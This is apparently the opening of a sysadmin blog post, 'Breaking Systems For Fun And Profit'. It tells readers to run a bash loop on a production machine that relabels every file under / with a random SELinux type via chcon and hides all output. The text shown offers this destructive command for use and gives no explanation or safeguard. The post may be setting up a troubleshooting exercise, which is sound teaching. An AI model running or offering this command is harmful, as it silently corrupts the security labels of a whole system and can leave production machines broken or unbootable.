Breaking Systems For Fun And Profit
Image by jodylehigh @ Pixabay

Providing Context

Run the following snippet on a production machine. Don't worry if it errors out halfway through:

1
2
3
4
TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find -depth /); do
  chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done &> /dev/null